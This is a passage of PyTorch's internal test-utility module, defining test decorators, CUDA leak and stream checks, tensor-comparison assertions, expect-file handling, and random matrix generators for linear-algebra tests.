**kwargs): if not TEST_WITH_SLOW: raise unittest.SkipTest("test is slow; run with PYTORCH_TEST_WITH_SLOW to enable test") else: fn(*args, **kwargs) wrapper.__dict__['slow_test'] = True return wrapper def skipCUDAMemoryLeakCheckIf(condition): def dec(fn): if getattr(fn, '_do_cuda_memory_leak_check', True): # if current True fn._do_cuda_memory_leak_check = not condition return fn return dec def skipCUDANonDefaultStreamIf(condition): def dec(fn): if getattr(fn, '_do_cuda_non_default_stream', True): # if current True fn._do_cuda_non_default_stream = not condition return fn return dec def suppress_warnings(fn): @wraps(fn) def wrapper(*args, **kwargs): with warnings.catch_warnings(): warnings.simplefilter("ignore") fn(*args, **kwargs) return wrapper def get_cpu_type(type_name): module, name = type_name.rsplit('.', 1) assert module == 'torch.cuda' return getattr(torch, name) def get_gpu_type(type_name): if isinstance(type_name, type): type_name = '{}.{}'.format(type_name.__module__, type_name.__name__) module, name = type_name.rsplit('.', 1) assert module == 'torch' return getattr(torch.cuda, name) def to_gpu(obj, type_map=None): if type_map is None: type_map = {} if isinstance(obj, torch.Tensor): assert obj.is_leaf t = type_map.get(obj.type(), get_gpu_type(obj.type())) with torch.no_grad(): res = obj.clone().type(t) res.requires_grad = obj.requires_grad return res elif torch.is_storage(obj): return obj.new().resize_(obj.size()).copy_(obj) elif isinstance(obj, list): return [to_gpu(o, type_map) for o in obj] elif isinstance(obj, tuple): return tuple(to_gpu(o, type_map) for o in obj) else: return deepcopy(obj) def get_function_arglist(func): return inspect.getfullargspec(func).args def set_rng_seed(seed): torch.manual_seed(seed) random.seed(seed) if TEST_NUMPY: np.random.seed(seed) @contextlib.contextmanager def freeze_rng_state(): rng_state = torch.get_rng_state() if torch.cuda.is_available(): cuda_rng_state = torch.cuda.get_rng_state() yield if torch.cuda.is_available(): torch.cuda.set_rng_state(cuda_rng_state) torch.set_rng_state(rng_state) @contextlib.contextmanager def set_default_dtype(dtype): saved_dtype = torch.get_default_dtype() torch.set_default_dtype(dtype) yield torch.set_default_dtype(saved_dtype) def iter_indices(tensor): if tensor.dim() == 0: return range(0) if tensor.dim() == 1: return range(tensor.size(0)) return product(*(range(s) for s in tensor.size())) def is_iterable(obj): try: iter(obj) return True except TypeError: return False class CudaNonDefaultStream(): def __enter__(self): # Before starting CUDA test save currently active streams on all # CUDA devices and set new non default streams to all CUDA devices # to ensure CUDA tests do not use default stream by mistake. beforeDevice = torch.cuda.current_device() self.beforeStreams = [] for d in range(torch.cuda.device_count()): self.beforeStreams.append(torch.cuda.current_stream(d)) deviceStream = torch.cuda.Stream(device=d) torch._C._cuda_setStream(deviceStream._cdata) torch._C._cuda_setDevice(beforeDevice) def __exit__(self, exec_type, exec_value, traceback): # After completing CUDA test load previously active streams on all # CUDA devices. beforeDevice = torch.cuda.current_device() for d in range(torch.cuda.device_count()): torch._C._cuda_setStream(self.beforeStreams[d]._cdata) torch._C._cuda_setDevice(beforeDevice) class CudaMemoryLeakCheck(): def __init__(self, testcase, name=None): self.name = testcase.id() if name is None else name self.testcase = testcase # initialize context & RNG to prevent false positive detections # when the test is the first to initialize those from torch.testing._internal.common_cuda import initialize_cuda_context_rng initialize_cuda_context_rng() @staticmethod def get_cuda_memory_usage(): # we don't need CUDA synchronize because the statistics are not tracked at num_devices = torch.cuda.device_count() gc.collect() return tuple(torch.cuda.memory_allocated(i) for i in range(num_devices)) def __enter__(self): self.befores = self.get_cuda_memory_usage() def __exit__(self, exec_type, exec_value, traceback): if exec_type is not None: return afters = self.get_cuda_memory_usage() for i, (before, after) in enumerate(zip(self.befores, afters)): self.testcase.assertEqual( before, after, msg='{} leaked {} bytes CUDA memory on device {}'.format( self.name, after - before, i)) # "min_satisfying_examples" setting has been deprecated in hypythesis # 3.56.0 and removed in hypothesis 4.x try: import hypothesis def settings(*args, **kwargs): if 'min_satisfying_examples' in kwargs and hypothesis.version.__version_info__ >= (3, 56, 0): kwargs.pop('min_satisfying_examples') return hypothesis.settings(*args, **kwargs) hypothesis.settings.register_profile( "pytorch_ci", settings( derandomize=True, suppress_health_check=[hypothesis.HealthCheck.too_slow], database=None, max_examples=100, verbosity=hypothesis.Verbosity.normal)) hypothesis.settings.register_profile( "dev", settings( suppress_health_check=[hypothesis.HealthCheck.too_slow], database=None, max_examples=10, verbosity=hypothesis.Verbosity.normal)) hypothesis.settings.register_profile( "debug", settings( suppress_health_check=[hypothesis.HealthCheck.too_slow], database=None, max_examples=1000, verbosity=hypothesis.Verbosity.verbose)) hypothesis.settings.load_profile( "pytorch_ci" if IS_PYTORCH_CI else os.getenv('PYTORCH_HYPOTHESIS_PROFILE', 'dev') ) except ImportError: print('Fail to import hypothesis in common_utils, tests are not derandomized') disabled_test_from_issues = None def check_disabled(test_name): global disabled_test_from_issues if disabled_test_from_issues is None: disabled_test_from_issues = {} def read_and_process(): url = 'https://raw.githubusercontent.com/zdevito/pytorch_disabled_tests/master/result.json' contents = urlopen(url, timeout=1).read().decode('utf-8') the_response = json.loads(contents) for item in the_response['items']: title = item['title'] key = 'DISABLED ' if title.startswith(key): test_name = title[len(key):].strip() disabled_test_from_issues[test_name] = item['html_url'] if not IS_SANDCASTLE and os.getenv("PYTORCH_RUN_DISABLED_TESTS", "0") != "1": try: read_and_process() except Exception: print("Couldn't download test skip set, leaving all tests enabled...") if test_name in disabled_test_from_issues: raise unittest.SkipTest( "Test is disabled because an issue exists disabling it: {}".format(disabled_test_from_issues[test_name]) + " To enable set the environment variable PYTORCH_RUN_DISABLED_TESTS=1") # support needed float16 comparison methods. # TODO: Update this once bfloat16 and float16 are better supported. def get_comparison_dtype(a, b): # TODO: update this when promote_types supports bfloat16 and/or # isclose supports bfloat16. a_dtype = torch.float32 if a.dtype is torch.bfloat16 else a.dtype b_dtype = torch.float32 if b.dtype is torch.bfloat16 else b.dtype compare_dtype = torch.promote_types(a_dtype, b_dtype) # non-CUDA (CPU, for example) float16 -> float32 # TODO: update this when isclose is implemented for CPU float16 if (compare_dtype is torch.float16 and (a.device != b.device or a.device.type != 'cuda' or b.device.type != 'cuda')): compare_dtype = torch.float32 return compare_dtype class TestCase(expecttest.TestCase): # NOTE: "precision" lets classes and generated tests set minimum # atol values when comparing tensors. Used by @precisionOverride, for # example. # TODO: provide a better mechanism for generated tests to set rtol/atol. _precision: float = 0 @property def precision(self) -> float: return self._precision @precision.setter def precision(self, prec: float) -> None: self._precision = prec _do_cuda_memory_leak_check = False _do_cuda_non_default_stream = False def __init__(self, method_name='runTest'): super().__init__(method_name) test_method = getattr(self, method_name, None) if test_method is not None: # Wraps the tested method if we should do CUDA memory check. self._do_cuda_memory_leak_check &= getattr(test_method, '_do_cuda_memory_leak_check', True) # FIXME: figure out the flaky -1024 anti-leaks on windows. See #8044 if self._do_cuda_memory_leak_check and not IS_WINDOWS: self.wrap_with_cuda_policy(method_name, self.assertLeaksNoCudaTensors) # Wraps the tested method if we should enforce non default CUDA stream. self._do_cuda_non_default_stream &= getattr(test_method, '_do_cuda_non_default_stream', True) if self._do_cuda_non_default_stream and not IS_WINDOWS and not TEST_WITH_ROCM: self.wrap_with_cuda_policy(method_name, self.enforceNonDefaultStream) def assertLeaksNoCudaTensors(self, name=None): name = self.id() if name is None else name return CudaMemoryLeakCheck(self, name) def enforceNonDefaultStream(self): return CudaNonDefaultStream() def wrap_with_cuda_policy(self, method_name, policy): test_method = getattr(self, method_name) # the import below may initialize CUDA context, so we do it only if # self._do_cuda_memory_leak_check or self._do_cuda_non_default_stream # is True. from torch.testing._internal.common_cuda import TEST_CUDA fullname = self.id().lower() # class_name.method_name if TEST_CUDA and ('gpu' in fullname or 'cuda' in fullname): setattr(self, method_name, self.wrap_method_with_cuda_policy(test_method, policy)) def wrap_method_with_cuda_policy(self, method, policy): # Assumes that `method` is the tested function in `self`. # NOTE: Python Exceptions (e.g., unittest.Skip) keeps objects in scope # alive, so this cannot be done in setUp and tearDown because # tearDown is run unconditionally no matter whether the test # passes or not. For the same reason, we can't wrap the `method` @wraps(method) def wrapper(self, *args, **kwargs): with policy(): method(*args, **kwargs) return types.MethodType(wrapper, self) def wrap_with_cuda_memory_check(self, method): return self.wrap_method_with_cuda_policy(method, self.assertLeaksNoCudaTensors) def setUp(self): if TEST_SKIP_FAST: if not getattr(self, self._testMethodName).__dict__.get('slow_test', False): raise unittest.SkipTest("test is fast; we disabled it with PYTORCH_TEST_SKIP_FAST") check_disabled(str(self)) set_rng_seed(SEED) def genSparseTensor(self, size, sparse_dim, nnz, is_uncoalesced, device='cpu'): assert all(size[d] > 0 for d in range(sparse_dim)) or nnz == 0, 'invalid arguments' v_size = [nnz] + list(size[sparse_dim:]) v = torch.randn(*v_size, device=device) i = torch.rand(sparse_dim, nnz, device=device) i.mul_(torch.tensor(size[:sparse_dim]).unsqueeze(1).to(i)) i = i.to(torch.long) if is_uncoalesced: v = torch.cat([v, torch.randn_like(v)], 0) i = torch.cat([i, i], 1) x = torch.sparse_coo_tensor(i, v, torch.Size(size)) if not is_uncoalesced: x = x.coalesce() else: x = x.detach().clone() return x, x._indices().clone(), x._values().clone() def safeToDense(self, t): r = self.safeCoalesce(t) return r.to_dense() def safeCoalesce(self, t): tc = t.coalesce() self.assertEqual(tc.to_dense(), t.to_dense()) self.assertTrue(tc.is_coalesced()) # then it's a 0D tensor, not a 2D tensor. if t._nnz() == 0: self.assertEqual(t._indices(), tc._indices()) self.assertEqual(t._values(), tc._values()) return tc value_map = {} for idx, val in zip(t._indices().t(), t._values()): idx_tup = tuple(idx.tolist()) if idx_tup in value_map: value_map[idx_tup] += val else: value_map[idx_tup] = val.clone() if isinstance(val, torch.Tensor) else val new_indices = sorted(list(value_map.keys())) new_values = [value_map[idx] for idx in new_indices] if t._values().ndimension() < 2: new_values = t._values().new(new_values) else: new_values = torch.stack(new_values) new_indices = t._indices().new(new_indices).t() tg = t.new(new_indices, new_values, t.size()) self.assertEqual(tc._indices(), tg._indices()) self.assertEqual(tc._values(), tg._values()) if t.is_coalesced(): self.assertEqual(tc._indices(), t._indices()) self.assertEqual(tc._values(), t._values()) return tg def compare_with_numpy(self, torch_fn, np_fn, tensor_like, device=None, dtype=None): assert TEST_NUMPY assert dtype is not torch.bfloat16 if isinstance(tensor_like, torch.Tensor): assert device is None assert dtype is None a = tensor_like.detach().cpu().numpy() t = tensor_like else: a = np.array(tensor_like, dtype=torch_to_numpy_dtype_dict[dtype]) t = torch.tensor(tensor_like, device=device, dtype=dtype) np_result = np_fn(a) torch_result = torch_fn(t).cpu() if isinstance(np_result, np.ndarray): try: np_result = torch.from_numpy(np_result) except Exception: np_result = torch.from_numpy(np_result.copy()) self.assertEqual(np_result, torch_result) dtype_precisions = { torch.float16 : (0.001, 1e-5), torch.bfloat16 : (0.016, 1e-5), torch.float32 : (1.3e-6, 1e-5), torch.float64 : (1e-7, 1e-7), torch.complex32 : (0.001, 1e-5), torch.complex64 : (1.3e-6, 1e-5), torch.complex128 : (1e-7, 1e-7), } def _getDefaultRtolAndAtol(self, dtype0, dtype1): rtol = max(self.dtype_precisions.get(dtype0, (0, 0))[0], self.dtype_precisions.get(dtype1, (0, 0))[0]) atol = max(self.dtype_precisions.get(dtype0, (0, 0))[1], self.dtype_precisions.get(dtype1, (0, 0))[1]) return rtol, atol # and acquires the appropriate device, dtype, rtol and atol to compare # them with. It then calls _compare_tensors_internal. def _compareTensors(self, a, b, *, rtol: Optional[float] = None, atol=None, equal_nan=True, exact_dtype=True, exact_device=False) -> _compare_return_type: assert (atol is None) == (rtol is None) if not isinstance(a, torch.Tensor): return (False, "argument a, {0}, to _compareTensors is not a tensor!".format(a)) if not isinstance(b, torch.Tensor): return (False, "argument b, {0}, to _compareTensors is not a tensor!".format(b)) # Validates tensors are on the same device if exact_device and a.device != b.device: return (False, ("Attempted to compare equality of tensors on " "different devices! Got devices {0} and " "{1}.".format(a.device, b.device))) # Compares tensors of different devices on the CPU if a.device != b.device: a = a.cpu() b = b.cpu() # Checks size matches if a.size() != b.size(): return (False, ("Attempted to compare equality of tensors with " "different sizes. Got sizes {0} and {1}.").format(a.size(), b.size())) # Checks dtype (if exact_dtype) if exact_dtype and a.dtype is not b.dtype: return (False, ("Attempted to compare equality of tensors with " "different dtypes. Got dtypes {0} and {1}.").format(a.dtype, b.dtype)) # Acquires rtol and atol if rtol is None: rtol, atol = self._getDefaultRtolAndAtol(a.dtype, b.dtype) atol = max(atol, self.precision) # Converts to comparison dtype dtype = get_comparison_dtype(a, b) a = a.to(dtype) b = b.to(dtype) return _compare_tensors_internal(a, b, rtol=rtol, atol=atol, equal_nan=equal_nan) # Checks if two scalars are equal(-ish), returning (True, None) # when they are and (False, debug_msg) when they are not. # NOTE: this function just acquires rtol and atol # before calling _compare_scalars_internal. def _compareScalars(self, a, b, *, rtol: Optional[float] = None, atol: Optional[float] = None, equal_nan=True) -> _compare_return_type: # Acquires rtol and atol assert (atol is None) == (rtol is None) if rtol is None: if isinstance(a, complex) or isinstance(b, complex): rtol, atol = self._getDefaultRtolAndAtol(torch.complex64, torch.complex64) elif isinstance(a, float) or isinstance(b, float): rtol, atol = self._getDefaultRtolAndAtol(torch.float32, torch.float32) else: rtol, atol = 0, 0 atol = max(atol, self.precision) return _compare_scalars_internal(a, b, rtol=cast(float, rtol), atol=cast(float, atol), equal_nan=equal_nan) def assertEqualIgnoreType(self, *args, **kwargs) -> None: # If you are seeing this function used, that means test is written wrongly # and deserves detailed investigation return self.assertEqual(*args, exact_dtype=False, **kwargs) # Compares x and y # TODO: default exact_device to True def assertEqual(self, x, y, msg: Optional[str] = None, *, atol: Optional[float] = None, rtol: Optional[float] = None, equal_nan=True, exact_dtype=True, exact_device=False) -> None: assert (atol is None) == (rtol is None), "If one of atol or rtol is specified the other must be, too" # Tensor x Number and Number x Tensor comparisons if isinstance(x, torch.Tensor) and isinstance(y, Number): self.assertEqual(x.item(), y, atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) elif isinstance(y, torch.Tensor) and isinstance(x, Number): self.assertEqual(x, y.item(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) # Tensor x np.bool elif isinstance(x, torch.Tensor) and isinstance(y, np.bool_): self.assertEqual(x.item(), y, atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) elif isinstance(y, torch.Tensor) and isinstance(x, np.bool_): self.assertEqual(x, y.item(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) # Tensor x Tensor elif isinstance(x, torch.Tensor) and isinstance(y, torch.Tensor): super().assertEqual(x.is_sparse, y.is_sparse, msg=msg) super().assertEqual(x.is_quantized, y.is_quantized, msg=msg) if x.is_sparse: x = self.safeCoalesce(x) y = self.safeCoalesce(y) indices_result, debug_msg = self._compareTensors(x._indices(), y._indices(), rtol=rtol, atol=atol, equal_nan=equal_nan, exact_dtype=exact_dtype, exact_device=exact_device) if not indices_result and msg is None: assert debug_msg is not None msg = "Sparse tensor indices failed to compare as equal! " + debug_msg self.assertTrue(indices_result, msg=msg) values_result, debug_msg = self._compareTensors(x._values(), y._values(), rtol=rtol, atol=atol, equal_nan=equal_nan, exact_dtype=exact_dtype, exact_device=exact_device) if not values_result and msg is None: assert debug_msg is not None msg = "Sparse tensor values failed to compare as equal! " + debug_msg self.assertTrue(values_result, msg=msg) elif x.is_quantized and y.is_quantized: self.assertEqual(x.qscheme(), y.qscheme(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) if x.qscheme() == torch.per_tensor_affine: self.assertEqual(x.q_scale(), y.q_scale(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) self.assertEqual(x.q_zero_point(), y.q_zero_point(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) elif x.qscheme() == torch.per_channel_affine: self.assertEqual(x.q_per_channel_scales(), y.q_per_channel_scales(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) self.assertEqual(x.q_per_channel_zero_points(), y.q_per_channel_zero_points(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) self.assertEqual(x.q_per_channel_axis(), y.q_per_channel_axis(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) result, debug_msg = self._compareTensors(x.int_repr().to(torch.int32), y.int_repr().to(torch.int32), atol=atol, rtol=rtol, exact_dtype=exact_dtype, exact_device=exact_device) if not result and msg is None: assert debug_msg is not None msg = "Quantized representations failed to compare as equal! " + debug_msg self.assertTrue(result, msg=msg) else: result, debug_msg = self._compareTensors(x, y, rtol=rtol, atol=atol, equal_nan=equal_nan, exact_dtype=exact_dtype, exact_device=exact_device) if not result and msg is None: assert debug_msg is not None msg = "Tensors failed to compare as equal! " + debug_msg self.assertTrue(result, msg=msg) elif isinstance(x, string_classes) and isinstance(y, string_classes): super().assertEqual(x, y, msg=msg) elif type(x) == set and type(y) == set: super().assertEqual(x, y, msg=msg) elif isinstance(x, dict) and isinstance(y, dict): if isinstance(x, OrderedDict) and isinstance(y, OrderedDict): self.assertEqual(x.items(), y.items(), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) else: self.assertEqual(set(x.keys()), set(y.keys()), atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) key_list = list(x.keys()) self.assertEqual([x[k] for k in key_list], [y[k] for k in key_list], atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) elif isinstance(x, type) and isinstance(y, type): # See TestTorch.test_assert_equal_generic_meta super().assertEqual(x, y, msg=msg) elif is_iterable(x) and is_iterable(y): super().assertEqual(len(x), len(y), msg=msg) for x_, y_ in zip(x, y): self.assertEqual(x_, y_, atol=atol, rtol=rtol, msg=msg, exact_dtype=exact_dtype, exact_device=exact_device) elif isinstance(x, bool) and isinstance(y, bool): self.assertTrue(x == y, msg=msg) # Scalar x Scalar elif isinstance(x, Number) and isinstance(y, Number): result, debug_msg = self._compareScalars(x, y, rtol=rtol, atol=atol, equal_nan=equal_nan) if not result and msg is None: assert debug_msg is not None msg = "Scalars failed to compare as equal! " + debug_msg self.assertTrue(result, msg=msg) else: super().assertEqual(x, y, msg=msg) def assertAlmostEqual(self, x, y, *, places=None, msg=None, delta=None): prec = delta if places: prec = 10**(-places) rtol = None if prec is None else 0 self.assertEqual(x, y, msg=msg, atol=prec, rtol=rtol) def assertNotEqual(self, x, y, msg: Optional[str] = None, *, atol: Optional[float] = None, rtol: Optional[float] = None, **kwargs) -> None: with self.assertRaises(AssertionError, msg=msg): self.assertEqual(x, y, msg, atol=atol, rtol=rtol, **kwargs) def assertEqualTypeString(self, x, y) -> None: # This API is used simulate deprecated x.type() == y.type() self.assertEqual(x.device, y.device) self.assertEqual(x.dtype, y.dtype) self.assertEqual(x.is_sparse, y.is_sparse) def assertObjectIn(self, obj: Any, iterable: Iterable[Any]) -> None: for elem in iterable: if id(obj) == id(elem): return raise AssertionError("object not found in iterable") # TODO: Support context manager interface # NB: The kwargs forwarding to callable robs the 'subname' parameter. # If you need it, manually apply your callable in a lambda instead. def assertExpectedRaises(self, exc_type, callable, *args, **kwargs): subname = None if 'subname' in kwargs: subname = kwargs['subname'] del kwargs['subname'] try: callable(*args, **kwargs) except exc_type as e: self.assertExpected(str(e), subname) return # Don't put this in the try block; the AssertionError will catch it self.fail(msg="Did not raise when expected to") def assertNotWarn(self, callable, msg=''): with warnings.catch_warnings(record=True) as ws: warnings.simplefilter("always") callable() self.assertTrue(len(ws) == 0, msg) @contextmanager def maybeWarnsRegex(self, category, regex=''): with warnings.catch_warnings(record=True) as ws: warnings.simplefilter("always") warnings.filterwarnings("ignore", message=regex, category=category) try: yield finally: if len(ws) != 0: msg = 'Caught unexpected warnings:\n' for w in ws: msg += warnings.formatwarning( w.message, w.category, w.filename, w.lineno, w.line) msg += '\n' self.fail(msg) def assertExpected(self, s, subname=None): if not isinstance(s, str): raise TypeError("assertExpected is strings only") def remove_prefix(text, prefix): if text.startswith(prefix): return text[len(prefix):] return text # PyTorch where all test scripts are in the same directory as # test/common_utils.py, but it matters in onnx-pytorch module_id = self.__class__.__module__ munged_id = remove_prefix(self.id(), module_id + ".") test_file = os.path.realpath(sys.modules[module_id].__file__) expected_file = os.path.join(os.path.dirname(test_file), "expect", munged_id) subname_output = "" if subname: expected_file += "-" + subname subname_output = " ({})".format(subname) expected_file += ".expect" expected = None def accept_output(update_type): print("Accepting {} for {}{}:\n\n{}".format(update_type, munged_id, subname_output, s)) with open(expected_file, 'w') as f: f.write(s) try: with open(expected_file) as f: expected = f.read() except IOError as e: if e.errno != errno.ENOENT: raise elif expecttest.ACCEPT: return accept_output("output") else: raise RuntimeError( ("I got this output for {}{}:\n\n{}\n\n" "No expect file exists; to accept the current output, run:\n" "python {} {} --accept").format(munged_id, subname_output, s, __main__.__file__, munged_id)) # a hack for JIT tests if IS_WINDOWS: expected = re.sub(r'CppOp\[(.+?)\]', 'CppOp[]', expected) s = re.sub(r'CppOp\[(.+?)\]', 'CppOp[]', s) # Adjust for producer_version expected = expected.replace( 'producer_version: "XXX"', 'producer_version: "{}"'.format(torch.onnx.producer_version) ) if expecttest.ACCEPT: if expected != s: return accept_output("updated output") else: if hasattr(self, "assertMultiLineEqual"): # Python 2.7 only # NB: Python considers lhs "old" and rhs "new". self.assertMultiLineEqual(expected, s) else: self.assertEqual(s, expected) def assertExpectedStripMangled(self, s, subname=None): s = re.sub(r'__torch__[^ ]+', '', s) self.assertExpected(s, subname) # returns captured stderr @staticmethod def runWithPytorchAPIUsageStderr(code): import subprocess env = os.environ.copy() env["PYTORCH_API_USAGE_STDERR"] = "1" pipes = subprocess.Popen( [sys.executable, '-c', code], stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env) return pipes.communicate()[1].decode('ascii') if sys.version_info < (3, 2): # assertRegexpMatches renamed to assertRegex in 3.2 assertRegex = unittest.TestCase.assertRegexpMatches # assertRaisesRegexp renamed to assertRaisesRegex in 3.2 assertRaisesRegex = unittest.TestCase.assertRaisesRegexp if sys.version_info < (3, 5): # assertNotRegexpMatches renamed to assertNotRegex in 3.5 assertNotRegex = unittest.TestCase.assertNotRegexpMatches def download_file(url, binary=True): from urllib.parse import urlsplit from urllib import request, error filename = os.path.basename(urlsplit(url)[2]) data_dir = get_writable_path(os.path.join(os.path.dirname(__file__), 'data')) path = os.path.join(data_dir, filename) if os.path.exists(path): return path try: data = request.urlopen(url, timeout=15).read() with open(path, 'wb' if binary else 'w') as f: f.write(data) return path except error.URLError: msg = "could not download test file '{}'".format(url) warnings.warn(msg, RuntimeWarning) raise unittest.SkipTest(msg) def find_free_port(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('localhost', 0)) sockname = sock.getsockname() sock.close() return sockname[1] # Errors that we can get in c10d initialization for which we should retry tests for. ADDRESS_IN_USE = "Address already in use" CONNECT_TIMEOUT = "connect() timed out." def retry_on_connect_failures(func=None, connect_errors=(ADDRESS_IN_USE)): # This if block is executed when using this function as a decorator with arguments. if func is None: return partial(retry_on_connect_failures, connect_errors=connect_errors) @wraps(func) def wrapper(*args, **kwargs): tries_remaining = 10 while True: try: return func(*args, **kwargs) except RuntimeError as error: if str(error) in connect_errors: tries_remaining -= 1 if tries_remaining == 0: raise time.sleep(random.random()) continue raise return wrapper # Decorator to retry upon certain Exceptions. def retry(ExceptionToCheck, tries=3, delay=3, skip_after_retries=False): def deco_retry(f): @wraps(f) def f_retry(*args, **kwargs): mtries, mdelay = tries, delay while mtries > 1: try: return f(*args, **kwargs) except ExceptionToCheck as e: msg = "%s, Retrying in %d seconds..." % (str(e), mdelay) print(msg) time.sleep(mdelay) mtries -= 1 try: return f(*args, **kwargs) except ExceptionToCheck as e: raise unittest.SkipTest(f"Skipping after {tries} consecutive {str(e)}") from e if skip_after_retries else e return f_retry # true decorator return deco_retry # Methods for matrix generation # Used in test_autograd.py and test_torch.py def prod_single_zero(dim_size): result = torch.randn(dim_size, dim_size) result[0, 1] = 0 return result def random_square_matrix_of_rank(l, rank, dtype=torch.double, device='cpu'): assert rank <= l A = torch.randn(l, l, dtype=dtype, device=device) u, s, v = A.svd() for i in range(l): if i >= rank: s[i] = 0 elif s[i] == 0: s[i] = 1 return u.mm(torch.diag(s)).mm(v.transpose(0, 1)) def random_symmetric_matrix(l, *batches, **kwargs): dtype = kwargs.get('dtype', torch.double) device = kwargs.get('device', 'cpu') A = torch.randn(*(batches + (l, l)), dtype=dtype, device=device) A = (A + A.transpose(-2, -1)).div_(2) return A def random_symmetric_psd_matrix(l, *batches, **kwargs): dtype = kwargs.get('dtype', torch.double) device = kwargs.get('device', 'cpu') A = torch.randn(*(batches + (l, l)), dtype=dtype, device=device) return torch.matmul(A, A.transpose(-2, -1)) def random_symmetric_pd_matrix(matrix_size, *batch_dims, **kwargs): dtype = kwargs.get('dtype', torch.double) device = kwargs.get('device', 'cpu') A = torch.randn(*(batch_dims + (matrix_size, matrix_size)), dtype=dtype, device=device) return torch.matmul(A, A.transpose(-2, -1)) \ + torch.eye(matrix_size, dtype=dtype, device=device) * 1e-5 def make_nonzero_det(A, sign=None, min_singular_value=0.1): u, s, v = A.svd() s.clamp_(min=min_singular_value) A = torch.matmul(u, torch.matmul(torch.diag_embed(s), v.transpose(-2, -1))) det = A.det() if sign is not None: if A.dim() == 2: det = det.item() if (det < 0) ^ (sign < 0): A[0, :].neg_() else: cond = ((det < 0) ^ (sign < 0)).nonzero() if cond.size(0) > 0: for i in range(cond.size(0)): A[list(cond[i])][0, :].neg_() return A def random_fullrank_matrix_distinct_singular_value(matrix_size, *batch_dims, **kwargs): dtype = kwargs.get('dtype', torch.double) device = kwargs.get('device', 'cpu') silent = kwargs.get("silent", False) if silent and not torch._C.has_lapack: return torch.ones(matrix_size, matrix_size, dtype=dtype, device=device) A = torch.randn(batch_dims + (matrix_size, matrix_size), dtype=dtype, device=device) u, _, v = A.svd() s = torch.arange(1., matrix_size + 1, dtype=dtype, device=device).mul_(1.0 / (matrix_size + 1)).diag() return u.matmul(s.expand(batch_dims + (matrix_size, matrix_size)).matmul(v.transpose(-2, -1))) def random_matrix(rows, columns, *batch_dims, **kwargs): dtype = kwargs.get('dtype', torch.double) device = kwargs.get('device', 'cpu') silent = kwargs.get("silent", False) singular = kwargs.get("singular", False) if silent and not torch._C.has_lapack: return torch.ones(rows, columns, dtype=dtype, device=device) A = torch.randn(batch_dims + (rows, columns), dtype=dtype, device=device) u, _, v = A.svd(some=False) s = torch.zeros(rows, columns, dtype=dtype, device=device) k = min(rows, columns) for i in range(k): s[i, i] = float(i + 1) / (k + 1) if singular: # make matrix singular s[k - 1, k - 1] = 0 if k > 2: # increase the order of singularity so that the pivoting # in LU factorization will be non-trivial s[0, 0] = 0 return u.matmul(s.expand(batch_dims + (rows, columns)).matmul(v.transpose(-2, -1))) def random_lowrank_matrix(rank, rows, columns, *batch_dims, **kwargs): B = random_matrix(rows, rank, *batch_dims, **kwargs) C = random_matrix(rank, columns, *batch_dims, **kwargs) return B.matmul(C) def random_sparse_matrix(rows, columns, density=0.01, **kwargs): dtype = kwargs.get('dtype', torch.double) device = kwargs.get('device', 'cpu') singular = kwargs.get("singular", False) k = min(rows, columns) nonzero_elements = max(min(rows, columns), int(rows * columns * density)) row_indices = [i % rows for i in range(nonzero_elements)] column_indices = [i % columns for i in range(nonzero_elements)] random.shuffle(column_indices) indices = [row_indices, column_indices] values = torch.randn(nonzero_elements, dtype=dtype, device=device) # ensure that the diagonal dominates values *= torch.tensor([-float(i - j)**2 for i, j in zip(*indices)], dtype=dtype, device=device).exp() A = torch.sparse_coo_tensor(indices, values, (rows, columns), device=device) return A.coalesce() def random_sparse_pd_matrix(matrix_size, density=0.01, **kwargs): import math torch = kwargs.get('torch', globals()['torch']) dtype = kwargs.get('dtype', torch.double) device = kwargs.get('device', 'cpu') data = dict([((i, i), float(i + 1) / matrix_size) for i in range(matrix_size)]) def multiply(data, N, i, j, cs, sn, left=True): for k in range(N): if left: ik, jk = (k, i), (k, j) else: ik, jk = (i, k), (j, k) aik, ajk = data.get(ik, 0), data.get(jk, 0) aik, ajk = cs * aik + sn * ajk, -sn * aik + cs * ajk if aik: data[ik] = aik else: data.pop(ik, None) if ajk: data[jk] = ajk else: data.pop(jk, None) target_nnz = density * matrix_size * matrix_size while len(data) < target_nnz: i = random.randint(0, matrix_size - 1) j = random.randint(0, matrix_size - 1) if i != j: theta = random.uniform(0, 2 * math.pi) cs = math.cos(theta) sn = math.sin(theta) multiply(data, matrix_size, i, j, cs, sn, left=True) multiply(data, matrix_size, i, j, cs, sn, left=False) icoords, jcoords, values = [], [], [] for (i, j), v in sorted(data.items()): icoords.append(i) jcoords.append(j) values.append(v) indices = [icoords, jcoords] return torch.sparse_coo_tensor(indices, values, (matrix_size, matrix_size), dtype=dtype, device=device) def do_test_dtypes(self, dtypes, layout, device): for dtype in dtypes: if dtype != torch.float16: out = torch.zeros((2, 3), dtype=dtype, layout=layout, device=device) self.assertIs(dtype, out.dtype) self.assertIs(layout, out.layout) self.assertEqual(device, out.device) def do_test_empty_full(self, dtypes, layout, device): shape = torch.Size([2, 3]) def check_value(tensor, dtype, layout, device, value, requires_grad): self.assertEqual(shape, tensor.shape) self.assertIs(dtype, tensor.dtype) self.assertIs(layout, tensor.layout) self.assertEqual(tensor.requires_grad, requires_grad) if tensor.is_cuda and device is not None: self.assertEqual(device, tensor.device) if value is not None: fill = tensor.new(shape).fill_(value) 